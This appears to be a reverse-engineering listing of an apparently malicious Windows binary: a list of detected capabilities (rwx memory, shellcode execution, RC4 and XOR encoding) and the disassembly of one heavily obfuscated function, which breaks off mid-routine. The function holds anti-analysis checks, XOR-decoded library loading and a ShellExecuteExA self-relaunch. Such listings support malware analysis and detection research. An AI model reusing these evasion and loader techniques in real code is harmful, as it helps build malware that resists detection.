Function at 0x140022048
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using rc4 ksa
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x48718]
mov eax, 0x487f0
call fcn.140090fa0
sub rsp, rax
mov rax, qword [0x1400e5700]
xor rax, rsp
mov qword [rbp + 0x486e0], rax
mov rax, qword gs:[1]
mov r14d, 0xead65452
movabs r13, 0x810ab9c58de20e74
cmp rax, r14
jne 0x14002213f
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002211f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002211f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002213f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov r15d, 0xead65452
mov ecx, r15d
call fcn.140004244
mov rax, qword gs:[1]
mov ebx, 0x57e6aa4
mov esi, 0x87e83ea
mov edi, 0x2654f49
cmp rax, r14
jne 0x140022212
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400221f2
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400221f2
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022212
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
mov r12d, 0x12936b59
cmp rax, r14
jne 0x1400222c2
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400222a2
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400222a2
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400222c2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov ecx, r15d
call fcn.140021620
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140022374
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022354
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022354
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022374
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x14002242d
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002240d
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002240d
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002242d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
lea rdx, [0x1400d7a20]
lea rcx, [rbp + 0x998]
call fcn.140003c08
mov rdx, rax
mov ecx, r15d
call fcn.140006a60
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400224f5
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400224d5
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400224d5
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400224f5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400225ae
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002258e
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002258e
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400225ae
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov dword [rbp + 0x90], 0xe2517c81
mov dword [rbp + 0x94], 0x6052c7e2
mov word [rbp + 0x98], WSAStartup
xor r15d, r15d
mov edi, r15d
movabs r12, 0x1db121133
mov qword [rsp + 0x20], r12
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x90]
lea rcx, [rbp + 0x90]
call fcn.140031a94
xor al, dil
mov byte [rbp + rdi + 0x90], al
inc rdi
cmp rdi, 9
jb 0x1400225db
mov byte [rbp + 0x99], r15b
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[1]
cmp rax, r14
mov r12d, 0x12936b59
jne 0x1400226d3
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400226b3
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400226b3
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400226d3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x14002277d
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002275d
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002275d
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002277d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov dword [rbp + 0x1f0], 0x899ccb26
mov dword [rbp + 0x1f4], 0x8aca561f
mov dword [rbp + 0x1f8], 0x9c8c4c6d
xor eax, eax
mov byte [rbp + 0x1fc], al
mov rdi, r15
movabs r12, 0x1db121133
mov qword [rsp + 0x20], r12
mov r9d, listen
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1f0]
lea rcx, [rbp + 0x1f0]
call fcn.1400316f0
xor al, dil
mov byte [rbp + rdi + 0x1f0], al
inc rdi
cmp rdi, 0xc
jb 0x1400227b0
mov byte [rbp + 0x1fc], r15b
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rax, qword gs:[1]
cmp rax, r14
mov r12d, 0x12936b59
jne 0x1400228b9
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022899
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022899
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400228b9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.14002180c
test eax, eax
jne 0x140022b65
mov edi, r15d
mov ebx, 0x104
mov r8d, ebx
xor edx, edx
lea rcx, [rbp + 0x284c0]
call fcn.1400ba800
mov r8d, ebx
lea rdx, [rbp + 0x284c0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x1400229d6
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0xed0]
call fcn.1400ba800
mov dword [rbp + 0xec0], reloc.WS2_32.dll_WSASetLastError
mov dword [rbp + 0xec4], 0x400
mov qword [rbp + 0xec8], r15
mov dword [rbp - 0x70], 0xc1c5641
mov word [rbp - 0x6c], 0xba
movabs rsi, 0x1db121133
mov qword [rsp + 0x20], rsi
mov r9d, 5
mov r8, rdi
mov dl, byte [rbp + rdi - 0x70]
lea rcx, [rbp - 0x70]
call fcn.140031a20
xor al, dil
mov byte [rbp + rdi - 0x70], al
inc rdi
cmp rdi, 5
jb 0x140022946
mov byte [rbp - 0x6b], r15b
lea rax, [rbp - 0x70]
mov qword [rbp + 0xed0], rax
lea rax, [rbp + 0x284c0]
mov qword [rbp + 0xed8], rax
mov byte [rsp + 0x61], r15b
lea rax, [rsp + 0x61]
mov qword [rbp + 0xee0], rax
mov qword [rbp + 0xee8], r15
mov dword [rbp + 0xef0], 1
mov qword [rbp + 0xef8], r15
lea rcx, [rbp + 0xec0]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140031377
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
jmp 0x1400229e0
movabs rsi, 0x1db121133
mov word [rsp + 0x78], Ordinal_50
mov qword [rsp + 0x20], rsi
mov r9d, 1
xor r8d, r8d
mov dl, 0x2f
lea rcx, [rsp + 0x78]
call fcn.1400318c8
mov byte [rsp + 0x78], al
mov byte [rsp + 0x79], r15b
mov edx, edi
lea rcx, [rbp + 0x9b8]
call fcn.14002168c
mov rbx, rax
movdqa xmm0, xmmword [0x1400da8e0]
movdqu xmmword [rbp + 0xbf8], xmm0
movdqa xmm1, xmmword [0x1400da930]
movdqu xmmword [rbp + 0xc08], xmm1
mov dword [rbp + 0xc18], 0x9b6fbe1f
mov dword [rbp + 0xc1c], 0x68595d55
mov dword [rbp + 0xc20], 0xe261b706
mov word [rbp + 0xc24], reloc.WLDAP32.dll_Ordinal_211
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WLDAP32.dll_Ordinal_45
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbf8]
lea rcx, [rbp + 0xbf8]
call fcn.1400319ac
xor al, dil
mov byte [rbp + rdi + 0xbf8], al
inc rdi
cmp rdi, 0x2d
jb 0x140022a65
mov byte [rbp + 0xc25], r15b
mov r8, rbx
lea rdx, [rbp + 0xbf8]
lea rcx, [rbp + 0x9d8]
call fcn.140032a40
lea r8, [rsp + 0x78]
mov rdx, rax
lea rcx, [rbp + 0x11a8]
call fcn.140032c00
lea rcx, [rbp + 0x9d8]
call fcn.140032558
lea rcx, [rbp + 0x9b8]
call fcn.140032558
movdqa xmm0, xmmword [0x1400daa20]
movdqu xmmword [rbp + 0x2a8], xmm0
mov word [rbp + 0x2b8], 0xde
mov rdi, r15
mov qword [rsp + 0x20], rsi
mov r9d, reloc.WS2_32.dll_recvfrom
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2a8]
lea rcx, [rbp + 0x2a8]
call fcn.1400314a8
xor al, dil
mov byte [rbp + rdi + 0x2a8], al
inc rdi
cmp rdi, 0x11
jb 0x140022afe
mov byte [rbp + 0x2b9], r15b
lea rcx, [rbp + 0x11a8]
call fcn.1400321ac
xor r9d, r9d
lea r8, [rbp + 0x2a8]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140022c0f
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022bef
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022bef
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022c0f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140022cbf
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022c9f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022c9f
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022cbf
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140022d69
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022d49
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022d49
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022d69
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140022e24
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022e04
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022e04
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022e24
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x140022ece
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022eae
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022eae
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140022ece
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
xor ecx, ecx
call fcn.140098a74
mov rbx, rax
mov word [rsp + 0x7c], reloc.WS2_32.dll_WSACleanup
movabs r13, 0x1db121133
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rsp + 0x7c]
call fcn.1400318c8
mov byte [rsp + 0x7c], al
mov byte [rsp + 0x7d], r15b
mov dword [rbp - 0x60], 0x5ced3e4f
mov word [rbp - 0x5c], 0x3b5f
xor eax, eax
mov byte [rbp - 0x5a], al
mov rdi, r15
lea esi, [rax + 6]
mov qword [rsp + 0x20], r13
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi - 0x60]
lea rcx, [rbp - 0x60]
call fcn.140031768
xor al, dil
mov byte [rbp + rdi - 0x60], al
inc rdi
cmp rdi, rsi
jb 0x140022f24
mov byte [rbp - 0x5a], r15b
mov r9, rbx
lea r8, [rsp + 0x7c]
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xe50]
call fcn.14009bf54
mov rax, qword gs:[1]
cmp rax, r14
movabs r13, 0x810ab9c58de20e74
jne 0x14002301b
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022ffb
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022ffb
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002301b
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400230c5
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400230a5
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400230a5
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400230c5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov ecx, 2
call fcn.140098a74
mov rbx, rax
mov word [rbp - 0x80], WSAStartup
movabs r13, 0x1db121133
mov qword [rsp + 0x20], r13
mov r9d, 1
xor r8d, r8d
mov dl, 0x71
lea rcx, [rbp - 0x80]
call fcn.1400318c8
mov byte [rbp - 0x80], al
mov byte [rbp - 0x7f], r15b
mov dword [rbp - 0x38], 0x819ef01a
mov dword [rbp - 0x34], 0xb5094d
mov rdi, r15
mov qword [rsp + 0x20], r13
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x38]
lea rcx, [rbp - 0x38]
call fcn.140031938
xor al, dil
mov byte [rbp + rdi - 0x38], al
inc rdi
cmp rdi, 7
jb 0x140023113
mov byte [rbp - 0x31], r15b
mov r9, rbx
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe50]
call fcn.14009bf54
mov rax, qword gs:[1]
cmp rax, r14
movabs r13, 0x810ab9c58de20e74
jne 0x14002320d
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400231ed
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400231ed
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002320d
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf40]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400232cc
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x57e6aa4
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400232ac
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400232ac
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400232cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov ecx, 1
call fcn.140098a74
mov rbx, rax
mov word [rbp - 0x7c], WSAStartup
movabs r12, 0x1db121133
mov qword [rsp + 0x20], r12
mov r9d, 1
xor r8d, r8d
mov dl, 0x71
lea rcx, [rbp - 0x7c]
call fcn.1400318c8
mov byte [rbp - 0x7c], al
mov byte [rbp - 0x7b], r15b
mov dword [rbp - 0x30], 0x819ef01a
mov dword [rbp - 0x2c], 0xb5094d
mov rdi, r15
mov qword [rsp + 0x20], r12
mov r9d, 7
mov r8, rdi
mov dl, byte [rbp + rdi - 0x30]
lea rcx, [rbp - 0x30]
call fcn.140031938
xor al, dil
mov byte [rbp + rdi - 0x30], al
inc rdi
cmp rdi, 7
jb 0x14002331a
mov byte [rbp - 0x29], r15b
mov r9, rbx
lea r8, [rbp - 0x7c]
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe50]
call fcn.14009bf54
mov rax, qword gs:[1]
cmp rax, r14
mov r12d, 0x12936b59
jne 0x140023410
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400233f0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400233f0
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023410
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
mov ebx, 0x57e6aa4
cmp rax, r14
jne 0x1400234d1
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, ebx
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x87e83ea
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x32]
xor edx, edx
mov eax, 0x2654f49
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400234b1
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400234b1
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400234d1
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
movdqa xmm0, xmmword [0x1400da7e0]
movdqu xmmword [rbp + 0xd18], xmm0
movdqa xmm1, xmmword [0x1400da830]
movdqu xmmword [rbp + 0xd28], xmm1
movdqa xmm0, xmmword [0x1400da9c0]
movdqu xmmword [rbp + 0xd38], xmm0
mov dword [rbp + 0xd48], 0x67f5c1e5
mov dword [rbp + 0xd4c], 0x19b94789
mov dword [rbp + 0xd50], 0xfb6d1aa9
mov word [rbp + 0xd54], 0x3120
xor eax, eax
mov byte [rbp + 0xd56], al
mov rdi, r15
movabs r13, 0x1db121133
mov qword [rsp + 0x20], r13
mov r9d, 0x3e
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd18]
lea rcx, [rbp + 0xd18]
call fcn.140031854
xor al, dil
mov byte [rbp + rdi + 0xd18], al
inc rdi
cmp rdi, 0x3e
jb 0x14002353d
mov byte [rbp + 0xd56], r15b
lea rcx, [rbp + 0xd18]
call fcn.140003aac
mov rax, qword gs:[1]
cmp rax, r14
movabs r13, 0x810ab9c58de20e74
jne 0x140023638
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r12
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023618
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023618
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023638
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.1400976a8
int3
mov rax, qword gs:[1]
cmp rax, r14
jne 0x1400236e2
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x32]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x32]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400236c2
mov rcx, qword gs:[0x32]
